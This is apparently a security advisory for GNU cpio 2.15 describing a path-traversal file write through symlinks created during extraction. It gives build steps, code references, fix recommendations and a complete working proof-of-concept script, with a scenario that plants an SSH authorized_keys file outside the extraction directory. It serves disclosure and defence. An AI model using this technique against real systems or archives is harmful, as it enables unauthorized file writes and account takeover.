GNU cpio 2.15 — Arbitrary File Write via Archive-Created Symlink Parent

GNU cpio extraction can be turned into an out-of-tree write primitive even when archive member names look harmless: a crafted archive can first create a symlink that points outside the extraction root and then extract a regular file underneath that symlink.

One realistic attack scenario is a “malicious firmware / initramfs bundle” (or any automated unpacking pipeline) that unpacks an attacker-provided cpio archive into a staging directory:

```
pipeline/
|-- stage/                (victim-chosen extraction dir)
|-- rootfs.cpio           (attacker-controlled archive)
```

Victim workflow:

1. Victim runs: `cd stage && cpio -id < ../rootfs.cpio`
2. The archive contains a symlink entry like `link -> ~/.ssh/` and a normal file entry like `link/authorized_keys`, so extraction writes **outside** `stage/` into `~/.ssh/authorized_keys` (within the victim’s permissions).

0. Environment

- Target: `cpio` (GNU cpio copy-in mode: `cpio -id`)
- Version: GNU cpio `2.15`, from `test_target/sources/cpio-latest.tar.gz` (sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`)
- Build (from repository root):

```bash
WORK=/tmp/unpfuzz-cpio-2.15
rm -rf "$WORK"
mkdir -p "$WORK"
tar -xf test_target/sources/cpio-latest.tar.gz -C "$WORK"
cd "$WORK"/cpio-2.15
mkdir -p build && cd build
../configure --disable-nls CFLAGS='-O2 -g -fcommon'
make -j"$(nproc)"
```

- Binary: `cpio-2.15/build/src/cpio` (run PoC with `CPIO_BIN=...`)

1. Description

GNU cpio extraction sanitizes archive member names, but it does not apply the same containment checks to symlink targets before creating symlinks on disk.

An archive can first create a symlink inside the extraction directory that points outside the extraction root. A later regular-file entry whose pathname uses that symlink as a parent is opened by the kernel through the symlink, causing a write outside the intended extraction directory.

This behavior was **reproduced on GNU cpio 2.15** (from `cpio-latest.tar.gz`, sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`) using the default extract path (`cpio -id`).

Relevant code:

- `src/copyin.c:1486` — archive member names are normalized with `cpio_safer_name_suffix(...)`.
- `src/copyin.c:110-126` — symlink target bytes are read from the archive payload in `get_link_name(...)`.
- `src/copyin.c:792-816` — symlinks are created with `UMASKED_SYMLINK(link_name, file_hdr->c_name, ...)` when `--absolute-filenames` is in effect.
- `src/copyin.c:664-765` — the `--no-absolute-filenames` mitigation defers symlinks via `symlink_placeholder(...)` / `replace_symlink_placeholders(...)`.
- `src/copyin.c:476-484` — later regular files are opened with `open(file_hdr->c_name, O_CREAT | O_WRONLY | O_BINARY, 0600)`.

2. Impact

An attacker who can supply a cpio archive can write files outside the extraction directory selected by the victim.

Practical impact includes:

- creating or overwriting files adjacent to the extraction root;
- planting files in user-writable configuration directories;
- escalating impact if the extractor runs with elevated privileges or inside an automated firmware/package unpacking pipeline.

3. Reason / Root Cause

The extractor treats symlink targets as inert payload data, but subsequent filesystem operations resolve paths through those symlinks.

The entry name `link` is confined, but the symlink target `../outside` is not rejected. When a later entry named `link/pwn.txt` is extracted, `open(2)` follows the existing `link` symlink and writes to `../outside/pwn.txt`.

The root cause is missing path-resolution containment at the filesystem-operation layer. String-level member-name sanitization is not sufficient once symlinks exist in the output tree.

4. Proof-of-Concept

4.1 PoC file

- Runner: `poc.sh`

4.2 What the PoC does

The PoC:

1. Creates a `newc` cpio archive in `/tmp`.
2. Adds a symlink entry: `link -> ../outside`.
3. Adds a regular-file entry: `link/pwn.txt`.
4. Extracts inside `/tmp/unpfuzz_cpio_poc/out`.
5. Verifies that `/tmp/unpfuzz_cpio_poc/outside/pwn.txt` is created.

4.3 Expected result

Successful exploitation creates:

- `/tmp/unpfuzz_cpio_poc/outside/pwn.txt`

instead of keeping all extracted files under:

- `/tmp/unpfuzz_cpio_poc/out/`

5. Fix Recommendations

1. Reject symlink targets that are absolute or that escape the extraction root after resolution.
2. Before opening a regular file, walk parent components relative to a trusted extraction-root file descriptor and reject symlink components unless explicitly allowed.
3. Prefer `openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS)` where available, or implement equivalent `openat` + `lstat` path walking.
4. Treat symlink creation followed by later writes through the symlink as a regression-test pattern.
5. Add tests for `link -> ../outside` followed by `link/file`, nested symlink chains, and hardlink analogues.

6. Reproduction

From the repository root:

```
CPIO_BIN=/path/to/cpio ./poc.sh
```

The poc.sh is as below

```
#!/usr/bin/env bash
set -euo pipefail

CPIO_BIN=${CPIO_BIN:-cpio}

if [[ "$CPIO_BIN" == */* ]]; then
  if [[ ! -x "$CPIO_BIN" ]]; then
    echo "error: CPIO_BIN is not executable: $CPIO_BIN" >&2
    exit 1
  fi
else
```

```
  if ! command -v "$CPIO_BIN" >/dev/null 2>&1; then
    echo "error: cpio is required" >&2
    exit 1
  fi
fi

base=/tmp/unpfuzz_cpio_poc
rm -rf "$base"
mkdir -p "$base/out" "$base/outside"

python3 - <<'PY'
import time

base = "/tmp/unpfuzz_cpio_poc"
hdr_len = 110

def entry(name, mode, data=b"", ino=1, nlink=1):
    name_bytes = name.encode() + b"\0"
    namesz = len(name_bytes)
    fields = [
        ino,
        mode,
        1000,
        1000,
        nlink,
        int(time.time()),
        len(data),
        0,
        0,
        0,
        0,
        namesz,
        0,
    ]
    header = ("070701" + "".join(f"{value:08x}" for value in
fields)).encode()
    name_pad = b"\0" * ((4 - ((hdr_len + namesz) % 4)) % 4)
    data_pad = b"\0" * ((4 - (len(data) % 4)) % 4)
    return header + name_bytes + name_pad + data + data_pad

archive = b"".join([
    entry("link", 0o120777, b"../outside", 2),
    entry("link/pwn.txt", 0o100600, b"CPIO_ESCAPE\n", 3),
    entry("TRAILER!!!", 0, b"", 4),
])

open(base + "/symlink_escape.cpio", "wb").write(archive)
PY

(cd "$base/out" && "$CPIO_BIN" -id --quiet < "$base/symlink_escape.cpio")

if [[ ! -f "$base/outside/pwn.txt" ]]; then
  echo "[-] exploit failed: outside file was not created" >&2
  find "$base" -maxdepth 3 -ls >&2
  exit 1
fi
```

```
67
68 echo "[+] created outside extraction root: $base/outside/pwn.txt"
69 cat "$base/outside/pwn.txt"
70
```